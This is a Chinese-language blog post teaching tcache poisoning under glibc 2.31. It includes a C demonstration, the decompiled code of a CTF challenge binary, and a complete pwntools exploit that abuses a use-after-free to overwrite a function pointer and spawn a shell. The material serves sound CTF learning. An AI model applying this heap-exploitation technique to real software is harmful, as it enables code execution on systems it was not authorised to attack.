【Pwn】堆学习之glibc2.31下的tcache投毒

0x1 tcache投毒是什么

· tcache投毒的本质就是把tcache单链表里的next指针改成想要的地址,利用“程序从tcache中拿取chunk时会使head指向next使next成为新的head,在下一次拿取时把head指向的地址作为可写入空间返回”的机制将目标地址返回实现任意写的手法。注意:返回的地址是将直接用于写入的地址,相当于正常chunk的user_data,所以写入目标地址时不需要-0x10。

0x2 tcache投毒实例

· 使用如下实例:

#include <stdio.h> 
#include <stdlib.h> 
 
int main(){ 
        char *a = malloc(0x30); 
        char *b = malloc(0x30); 
 
        free(a); 
        free(b); 
 
        *(size_t *)b = 0x555555558600; 
 
        char *c = malloc(0x30); 
        char *d = malloc(0x30); 
}

· 两次free且目标地址写入后两个chunk的状态:

image

· 可以看到b的user_data+0x00已经被写为了目标地址。下面第一次malloc时,chunk_c会正常分配,head会指向chunk_b的next即我们写入的目标地址并将其作为新的head,第二次malloc时0x555555558600就会被tcache误认成一个合法的user_data头从而返回给chunk_d。如图所示(chunk_d分配后):

image

· 可以看到chunk_d成功分配到了我们伪造的地址。此时若伪造地址可写,就可以利用原本向chunk_d写入的函数对目标地址进行写操作。

0x3 例题

题目:https://lochad-1396125149.cos.ap-beijing.myqcloud.com/pwn_challanges/heap/glibc2.31/TcacheUAF/TcacheUAF.zip

0x1 保护

    Arch:       amd64-64-little 
    RELRO:      Partial RELRO 
    Stack:      No canary found 
    NX:         NX enabled 
    PIE:        No PIE (0x3fe000) 
    RUNPATH:    b'.' 
    Stripped:   No

0x2 伪码

int __fastcall main(int argc, const char **argv, const char **envp)
{
  init(argc, argv, envp);
  control = bye;
  while ( 1 )
  {
    menu();
    switch ( read_int() )
    {
      case 1:
        add();
        break;
      case 2:
        delete_chunk();
        break;
      case 3:
        edit();
        break;
      case 4:
        show();
        break;
      case 5:
        trigger();
        break;
      case 6:
        puts("bye");
        return 0;
      default:
        puts("invalid");
        break;
    }
  }
}
int add()
{
  unsigned int v1; // [rsp+Ch] [rbp-4h]

  printf("idx: ");
  v1 = read_int();
  if ( v1 >= 8 )
    return puts("invalid");
  if ( chunks[v1] )
    return puts("occupied");
  chunks[v1] = malloc(0x30uLL);
  if ( !chunks[v1] )
    exit(0);
  printf("content: ");
  read_n(chunks[v1], 0x30uLL);
  return puts("done");
}
int delete_chunk()
{
  unsigned int v1; // [rsp+Ch] [rbp-4h]

  printf("idx: ");
  v1 = read_int();
  if ( v1 >= 8 || !chunks[v1] )
    return puts("invalid");
  free(chunks[v1]);
  return puts("done");
}
int edit()
{
  unsigned int v1; // [rsp+Ch] [rbp-4h]

  printf("idx: ");
  v1 = read_int();
  if ( v1 >= 8 || !chunks[v1] )
    return puts("invalid");
  printf("content: ");
  read_n(chunks[v1], 0x30uLL);
  return puts("done");
}
int trigger()
{
  if ( control )
    return control();
  else
    return puts("nothing happens");
}

0x3 漏洞分析

· 程序没有UAF保护,可以直接写free_chunk的next段,进行tcache投毒,从而把control作为可写字段返回,再向control写入win()的地址,最后调用trigger()拿shell。

0x4 exp

from pwn import * 
context(arch='amd64', os='linux', log_level='debug', terminal=['konsole', '--no
close', '-e']) 
 
io = process('./pwn_patched') 
#io = remote() 
 
''' 
think...
malloc() 
malloc() 
free(a) 
free(b) 
b.next -> control 
malloc() 
malloc() -> control 
control -> win
''' 
 
control = 0x4040e0 
win = 0x401303 
 
def memu(idx): 
    io.recvuntil('6. quit\n> ') 
    io.sendline(idx) 
 
def add(idx, data): 
    memu(str(1)) 
    io.recvuntil('idx: ') 
    io.sendline(idx) 
    io.recvuntil('content: ') 
    io.sendline(data) 
 
def delete(idx): 
    memu(str(2)) 
    io.recvuntil('idx: ') 
    io.sendline(idx) 
 
def edit(idx, data): 
    memu(str(3)) 
    io.recvuntil('idx: ') 
    io.sendline(idx) 
    io.recvuntil('content: ') 
    io.sendline(data) 
 
add(str(0), 'A'*0x30) 
add(str(1), 'B'*0x30) 
 
delete(str(0)) 
delete(str(1)) 
 
edit(str(1), p64(control)) 
 
add(str(2), 'C'*0x30) 
add(str(3), 'D'*0x30) 
 
payload1  = p64(win) 
payload1 += b'\0'*40 
edit(str(3), payload1) 
 
memu(str(5)) 
 
io.interactive()
posted @ 2026-03-25 19:37  Lochad  阅读(15)  评论(0)    收藏  举报